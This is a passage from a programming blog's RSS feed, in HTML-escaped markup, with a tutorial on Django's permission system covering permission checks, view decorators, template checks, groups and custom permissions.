style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get_group_permissions()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;check-if-a-user-has-a-permission&#34;&gt;Check if a user has a permission&lt;/h3&gt;&#xA;&lt;p&gt;We can check if a user has a unique permission with the &lt;em&gt;has_perm()&lt;/em&gt; method. It will return &lt;em&gt;True&lt;/em&gt; if the user has the permission. If the user has the permissions but its user instance has the active property equal to &lt;em&gt;False&lt;/em&gt;, it will return &lt;em&gt;False&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;has_perm(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;app.&amp;lt;action&amp;gt;_model&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;check-if-a-user-has-a-set-of-permissions&#34;&gt;Check if a user has a set of permissions&lt;/h3&gt;&#xA;&lt;p&gt;&lt;em&gt;has_perms&lt;/em&gt; is quite useful if we want to check if a user has a set of permissions. It will return &lt;em&gt;True&lt;/em&gt;, only if it has all the permissions. Like the previous one, **will return &lt;em&gt;False&lt;/em&gt; if the user is not active, even if he has the permissions **.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;has_perms([&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;app.edit_model&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;app.delete_model&amp;#34;&lt;/span&gt;]) &lt;span style=&#34;color:#78787e&#34;&gt;# por ejemplo videogame_store.edit_videogame, videogame_store.delete_videogame&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;check-if-a-user-has-any-permissions&#34;&gt;Check if a user has any permissions&lt;/h3&gt;&#xA;&lt;p&gt;Maybe we just want to check the existence of any permissions, that&amp;rsquo;s what &lt;em&gt;has_module_perms()&lt;/em&gt; is for. It returns &lt;em&gt;True&lt;/em&gt; if the user has any permissions for the application tag we pass it. In the same way, it returns &lt;em&gt;False&lt;/em&gt; for inactive users.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;has_module_perms(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;app_label&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# por ejemplo videogame.view_videogame&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# models.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;tuModelo&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Meta&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        app_label &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;app_label&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;applying-permissions-to-limit-actions&#34;&gt;Applying permissions to limit actions&lt;/h2&gt;&#xA;&lt;p&gt;We can apply permissions to protect our views by wrapping them in a decorator.&lt;/p&gt;&#xA;&lt;h3 id=&#34;checking-with-user_passes_test&#34;&gt;Checking with user_passes_test&lt;/h3&gt;&#xA;&lt;p&gt;This function requires an object as argument and this object must accept the &lt;em&gt;user&lt;/em&gt; object as its argument. Leaving that aside, this test can contain anything you want, from checking a user field, permissions, corroborating a deadline, etc.&lt;/p&gt;&#xA;&lt;p&gt;There is a second optional parameter, the url to redirect to for unauthenticated users, which takes the value of &lt;em&gt;settings.LOGIN_URL&lt;/em&gt; (yes, the one you specify in your configuration file) if none is specified.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;can_delete_and_edit&lt;/span&gt;(user):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;has_perm(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;app.edit_model&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;and&lt;/span&gt; user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;has_perm(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;app.delete_model&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@user_passes_test&lt;/span&gt;(can_delete_and_edit, login_url&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/login/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;manage_videogame&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;checking-with-permissions_required&#34;&gt;Checking with permissions_required&lt;/h3&gt;&#xA;&lt;p&gt;Similarly, it has a second optional parameter, the url to redirect to for unauthenticated users, which takes the value of &lt;em&gt;settings.LOGIN_URL&lt;/em&gt; if none is specified.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.auth.decorators &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; permission_required&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@permission_required&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;app.edit_videogame&amp;#39;&lt;/span&gt;, login_url&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/login/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;edit_videogame&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;applying-permissions-in-templates&#34;&gt;Applying permissions in templates&lt;/h3&gt;&#xA;&lt;p&gt;Django templates are no longer as popular as they used to be, due to the rise of microservices and frontend frameworks such as React, Vue, Angular, etc. Still, if you want to use them in templates you can access permissions as follows:&lt;/p&gt;&#xA;&lt;p&gt;Update: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/&#34;&gt;Htmx&lt;/a&gt;&#xA; can bring permissions back to life in the Django template system.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-django&#34; data-lang=&#34;django&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;{%&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;perms.app.action_model&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;%}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Check if user has a given permission&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;{%&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;endif&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;%}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;{%&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;perms.app&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;%}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Check if user has a given permission for the app&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;{%&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;endif&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;%}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;permission-groups-in-django&#34;&gt;Permission groups in Django&lt;/h2&gt;&#xA;&lt;p&gt;As you know, using groups is a very convenient way to assign a set of permissions. Maybe you have a paid application and you want all users with the basic plan to have a set of permissions, while premium users have extra permissions. &lt;strong&gt;To organize the permissions and assign them in a simpler way we can use groups&lt;/strong&gt;. You can access these groups and assign permissions from the administration panel or from the Python terminal.&lt;/p&gt;&#xA;&lt;h3 id=&#34;create-permission-groups&#34;&gt;Create permission groups&lt;/h3&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-do-permissions-and-its-groups-work-in-django/images/django-group-permissions.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-do-permissions-and-its-groups-work-in-django/images/django-group-permissions.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Different permission groups in django in the admin panel&#34; width=&#34;632&#34; height=&#34;699&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;We can also create them directly from the Python terminal&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.auth.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Group&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Group&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;create(name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Premium&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;premium &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Group&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Premium&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;assign-permissions-to-a-group&#34;&gt;Assign permissions to a group&lt;/h3&gt;&#xA;&lt;p&gt;If we already have a group and we want to assign permissions to it &lt;strong&gt;we use practically the same set of methods that we use for a user&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To set up a permission list&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;premium&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;permissions&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;set([lista_de_permissions])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To add permissions, either a list or one by one.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;premium&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;permissions&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add(permission1, permission2, &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To remove permissions, either a list or one by one&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;premium&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;permissions&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;remove(permission1, permission2, &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To remove all permissions from a group&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;premium&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;permissions&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;clear()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;adding-or-removing-users-from-a-group&#34;&gt;Adding or removing users from a group&lt;/h2&gt;&#xA;&lt;p&gt;To add a permission group we use the same methods as in the previous examples: add, remove, clear, etc.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# add an user to many groups&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;groups &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; group_list&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# add an user to one or many groups&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;groups&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add(grupo1, grupo2,&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# remove an user from one or many groups&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;groups&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;remove(grupo1, grupo2,&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# delete an user from all groups&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;groups&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;clear()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;create-custom-permissions-in-django&#34;&gt;Create custom permissions in Django&lt;/h2&gt;&#xA;&lt;p&gt;We can add custom permissions to a model, we will use the sub &lt;em&gt;class Meta&lt;/em&gt; of our model and assign the property &lt;em&gt;permissions&lt;/em&gt; to a tuple of tuples, where each tuple has the name of the permission and its description.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;permissions &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ((&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;permission1&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;description 1&amp;#39;&lt;/span&gt;), (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;permission 2&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;description 2&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can name these permissions as we wish, then give that permission to certain users and then check if a user has any of our permissions using the methods seen previously.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;CustomizedUser&lt;/span&gt;(AbstractUser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Meta&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        permissions &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;can_see_premium&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Can see premium content&amp;#39;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;can_see_basic&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Can see basic content&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we now run the migrations, we will notice that we can now add the permissions we created from the administration panel and from the Python terminal.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py makemigrations&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Remember to check &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/3.2/topics/auth/default/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Django&amp;rsquo;s documentation on permissions&lt;/a&gt;&#xA; for a more in-depth post.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;When I first learned that Django had a permissions system, many years ago, it seemed rather esoteric, not very useful and easy to replicate, how wrong I was back then. Then I realized that the built-in permissions system was a marvel and saved a lot of code, and was quite robust and tested by some of the largest companies in the world.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;If you have not yet decided to use Django and are investigating its features check out my post on the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;advantages and disadvantages of the Django web development framework&lt;/a&gt;&#xA;.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Don&#39;t make this mistake using arrays in Python</title>
      <link>https://coffeebytes.dev/en/python/dont-make-this-mistake-using-arrays-in-python/</link>
